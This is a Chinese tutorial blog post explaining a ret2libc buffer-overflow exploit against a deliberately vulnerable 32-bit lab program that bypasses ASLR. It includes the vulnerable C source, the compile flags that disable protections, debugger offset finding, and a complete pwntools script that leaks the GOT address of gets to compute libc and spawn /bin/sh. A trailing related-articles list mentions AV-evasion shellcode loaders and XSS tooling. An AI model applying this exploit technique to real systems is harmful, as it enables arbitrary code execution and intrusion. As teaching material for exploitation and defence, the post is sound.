ret2libc过地址随机化

程序:

#include<stdio.h>
char buf2[10] = "this is buf2";
void vul()
{char buf1[10];gets(buf1);
}
void main()
{write(1,"sinxx",5);vul();
}

很明显,gets函数存在溢出
编译:

gcc -no-pie -fno-stack-protector -m32 -o 9.exe 9.c

我们要用溢出,执行system("/bin/sh")函数

0x01 了解plt和got表

具体了解,看这篇文章:https://blog.csdn.net/qq_18661257/article/details/54694748

为了更好的用户体验和内存CPU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,PLT表可以称为内部函数表,GOT表为全局函数表(也可以说是动态函数表这是个人自称),这两个表是相对应的,什么叫做相对应呢,PLT表中的数据就是GOT表中的一个地址,可以理解为一定是一一对应的,如下图:

在这里插入图片描述

实际当中并不是,这里只是为了方便理解,画成这样,具体可看上面的文章

PLT表中的每一项的数据内容都是对应的GOT表中一项的地址这个是固定不变的,到这里大家也知道了PLTPLT表中的数据根本不是函数的真实地址,而是GOT表项的地址,好坑啊。

其实在大家进入带有@plt标志的函数时,这个函数其实就是个过渡作用,因为GOT表项中的数据才是函数最终的地址,而PLT表中的数据又是GOT表项的地址,我们就可以通过PLT表跳转到GOT表来得到函数真正的地址。

我们反汇编我们的程序,其中有下图中的write<@plt> ,这个地址并不是write函数真正的地址,这个是GOT表存放write函数地址数据的地址。
在这里插入图片描述
我们要记得plt表中并不是函数真是的地址,got表才是函数真正的地址,plt给的地址是来寻找got表中真正的函数地址。

0x02 分析

我们来看看保护机制:

在这里插入图片描述
虽然关闭了PIE,这个只是对这个程序来说没有PIE,当我们去执行system("/bin/sh"),动态调用,这个还是有地址随机化的。

我们要找到system和/bin/sh真正的地址,采用利用溢出去执行。

0x03 找到溢出点

利用pade生成100个字符

pattern create 100

在这里插入图片描述
使用命令c,让程序继续执行,复制我们生成的字符串,注意单引号不要复制
在这里插入图片描述
溢出了,查看现在的EIP,AA(A
使用命令查看溢出位置

pattern offset AA(A

在这里插入图片描述
溢出在22

0x04 构造poc

from pwn import *
context(arch="i386",os="linux")
p=process("9.exe")
e=ELF("9.exe")		#加载9.exe这个文件
addr_write=e.plt["write"]	#找到plt表中write地址
addr_gets=e.got["gets"]		#找到got表中get地址
addr_vul=e.symbols["vul"]	#找到vul函数地址print pidof(p)
offset=22
pause()payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
p.sendlineafter("sinxx",payload1)	#接收sinxx后发送payload1
gets_real_addr=u32(p.recv(4))		#将接收到的字符变成32位地址libc=ELF("/lib/i386-linux-gnu/libc.so.6")
rva_libc=gets_real_addr-libc.symbols["gets"]
addr_system=rva_libc+libc.symbols["system"]
addr_binsh=rva_libc+libc.search("/bin/sh").next()payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)
p.sendline(payload2)
p.interactive()

解释:

  • addr_write=e.plt[“write”] #找到plt表中write地址
    这个是找plt表中的地址,程序调用函数是先调用plt表中的地址,然后根据这个去找got表中真实的函数地址。
  • addr_gets=e.got[“gets”] #找到got表中get地址
    这个是找到gets函数真正的地址,是为了后面找system和/bin/sh真实地址做准备的
  • rva_libc=gets_real_addr-libc.symbols[“gets”]
    gets_real_addr是gets真实的地址,libc.symbols[“gets”]是gets在libc中的偏移地址,真实地址与偏移地址是不一样的,我们可以根据这个差,然后找到system和/bin/sh在libc中偏移地址,两者在相加就找到了system和/bin/sh的真实地址。

注意:poc中一共执行了两次poc,一次是执行按照执行顺序执行力一次,一次是payload1中执行执行了一次

很多人就有疑问了,我们为什么不直接找到system和/bin/sh在got的地址呢?

我们也想找到啊!关键它得有啊!
为了更好的用户体验和内存CPU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,PLT和GOT是程序编译时采用,所以system和/bin/sh并不在程序中,所以没有。

结果:
在这里插入图片描述

0x05 总结

我们利用溢出执行了程序没有的函数,虽然程序中是没有地址随机化的,但我们利用溢出去执行的函数所在的模块是有的,所以我们要把每次的变化求出来。

我们根据程序使用了libc库,libc库中有system和.bin/sh,所以我们可在libc找到system和.bin/sh,在libc中,我们找出system和.bin/sh的地址是偏移地址,但不是真正的地址,所以我们还需要计算出偏移量,根据gets函数,找到gets在GOT表中真实的地址,再找出在libc库的偏移地址,两者相减就找出了偏移量,最后根据偏移量和出system和.bin/sh的偏移地址,最终找到system和/bin/sh真实地址

关键是理解plt、got和偏移地址的关系,其他很好理解

注:自己理解,如有错误,请指出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/379990.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70)

0x00 免杀能力一览表 几点说明&#xff1a; 1、表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家…

WPF界面设计技巧(2)—自定义漂亮的按钮样式

上次做了个很酷的不规则窗体&#xff0c;这次我们来弄点好看的按钮出来&#xff0c;此次将采用纯代码来设计按钮样式&#xff0c;不需要 Microsoft Expression Design 辅助了。 首先打开 Microsoft Visual Studio 2008 &#xff0c;新建一个WPF项目&#xff0c;在上面随便放几个…

ropgadgets与ret2syscall技术原理

程序&#xff1a; #include <stdio.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/syscall.h> void exploit() { system("/bin/sh"); } void func() { char str[0x20]; read(0,str,0x50); } int…

PHP中单引号和双引号的区别

0x01 单引号 单引号里面的内容不会被解释&#xff0c;不管什么内容&#xff0c;都当做字符串处理 <?php$abc1234; $stradc$abc; echo $str;输出 0x02 双引号 双引号里面的内容会被解释&#xff0c;像一些换行&#xff08;\n)、数据元素等都会被解释 <?php$abc1234;…

关闭页面时执行“退出”的解决方案

在有些应用中我们需要实时的更新站点用户是否在线的状态。比如一些论坛里的在线成员实时显示&#xff0c;或基于网页的聊天、会议系统等。这种情况下&#xff0c;如果用户点击“退出”按钮或链接&#xff0c;我们将之行一系列后台操作&#xff0c;将该用户标识成off line状态&a…

python网络编程---TCP客户端

0x01 环境 python2、 pycharm 0x02 程序 # -*- coding:UTF-8 -*- import sockettarget_hostwww.baidu.com tarfet_port80target_hostlocalhost target_port3345 dataABCDEF# 创建一个socket对象 client socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 连接客户端 clien…

python网络编程---TCP服务器

0x01 环境 python2 pycharm 0x02 程序 客户端程序&#xff1a; # -*- coding:UTF-8 -*- import sockettarget_hostwww.baidu.com target_port80target_hostlocalhost target_port3345 dataABCDEF# 创建一个socket对象 client socket.socket(socket.AF_INET,socket.SOCK_STRE…

sys.argv和getopt

0x01 sys.argv sys.argv用来读取命令行参数&#xff0c;保存程序的文件名和命令参数&#xff0c;读入的参数以列表保存 import sysprint sys.argv print type(sys.argv)可以看到&#xff0c;sys.argv把空格当成分隔符&#xff0c;空格两边的值当做sys.argv的一个元素&#xf…

[导入]《大话设计模式》重印公告

摘要: 《大话设计模式》12月中旬上市&#xff0c;至2008年1月底仅仅一个多月&#xff0c;5000册即销售一空&#xff0c;清华大学出版社已经开始重印&#xff0c;也就是说很快可以在二月底或三月初看到新印刷修正过大部分错误的《大话设计模式》。 阅读全文[新闻]《人民日报市场…

hdu1053 Entropy hdu2527 Safe Or Unsafe

裸裸的哈弗曼编码&#xff0c;求出哈弗曼编码的路径长度&#xff0c;注意整个字符串为一种字符的情况 View Code #include<iostream>#include<queue>#include<algorithm>#include<vector>using namespace std;struct node{int u,w; node(int a0,in…

sys.stdin.read和raw_input函数

sys.stdin.read函数 例子&#xff1a; import sysreadsys.stdin.read() for i in range(len(read)):print i,read[i],-1运行&#xff0c;当执行到readsys.stdin.read()会阻塞&#xff0c;等待我们输入 我们输入&#xff1a; h e当输入&#xff0c;ctrlD结束输入&#xff0c…

利用带关联子查询Update语句更新数据

Update是T-sql中再简单不过的语句了&#xff0c;update table set columnexpression [where condition]&#xff0c;我们都会用到。但update的用法不仅于此&#xff0c;真正在开发的时候&#xff0c;灵活恰当地使用update可以达到事半功倍的效果。 假定有表Table1&#xff08;…

web安全----XSS漏洞之基本原理

0x01 概述 XSS为跨站脚本攻击&#xff0c;XSS攻击针对的是用户层面的攻击&#xff01;类型有反射型XSS、存储型XSS、DOM型XSS&#xff0c;这里的DOM可以理解为页面&#xff0c;或者是所有的标签、内容之和 0x02 反射型XSS 反射型XSS攻击流程为&#xff1a; 即&#xff1a; …

web安全----xss工具使用3

XSSer 0x01 安装 环境&#xff1a;kali、python3&#xff08;必须是python3&#xff0c;kali默认为python2&#xff09; 安装步骤&#xff1a; git clone https://github.com/epsylon/xsser.git cd xsser sudo python3 setup.py install 使用命令&#xff1a; xsser -h查看…

web安全---XSS利用平台BLUE-LOTUS安装与使用

0x01 安装 环境&#xff1a;windows、phpstudy 下载地址&#xff1a;https://gitee.com/gid1314/BlueLotus_XSSReceiver-master 下载后将文件解压&#xff0c;重命名为blue&#xff0c;放在www目录下 访问&#xff1a;http://IP/blue 点击安装 这里只需要修改后台登陆密码和…

使用delphi 开发多层应用(十)安全访问服务器

前面讲了如何建立和访问服务器,但是前面建的服务器都没有安全控制&#xff0c;这里有很大的安全问题,第一是任何人做一个客户端都可以都可以访问 服务器。第二是数据在网络传输过程中都是明码的&#xff0c;没有加密&#xff0c;使用网络侦听器就可以检测到传输的内容。这是一个…

web安全---浏览器解析提交数据的过程

解码规则 html解析器对html文档进行解析&#xff0c;完成解析并创建DOM树JavaScript或者CSS解析器对内联脚本进行解析&#xff0c;完成js、css解码url解码会根据url所在的顺序不同而在JS解码或者解码后 解码顺序 html解析第一步执行&#xff0c;而JS解析和URL解析则要根据情…

利用POI创建OpenOffice中的Excel文件

之所以称为OpenOffice的Excel文件,我发现了一个特点就是: 一些网站严格限定了文件必须为MS的Excel格式的话,用POI的HSSF创建的Excel就会不识别.不知道是什么原因,可能是版本的问题,据说HSSF(令人讨厌的电子表格格式)生成的是MS97的格式.但是97-2003的提示中明显的说明了MS的lib…

web安全-----CSRF漏洞

简述 CSRF&#xff1a;Cross-site request -forgery&#xff0c;跨站请求伪造&#xff0c;是一种web攻击方式&#xff0c;是由于网站的cookie在浏览器中不会过期&#xff0c;只要不关闭浏览器或者退出登录&#xff0c;那以后只要访问这个网站&#xff0c;都会默认你已经登录。…

依赖、关联、聚合、组合还有泛化的关系(转载)

依赖、关联、聚合、组合还有泛化的关系 此文为转载文章:http://zjzkiss.cnblogs.com/世界是普遍联系的&#xff0c;因此程序世界中的类&#xff0c;也不可能是孤立的。UML为我们定义了它们之间的关系&#xff0c;就是&#xff1a;依赖、关联、聚合、组合还有泛化。 泛化关系比…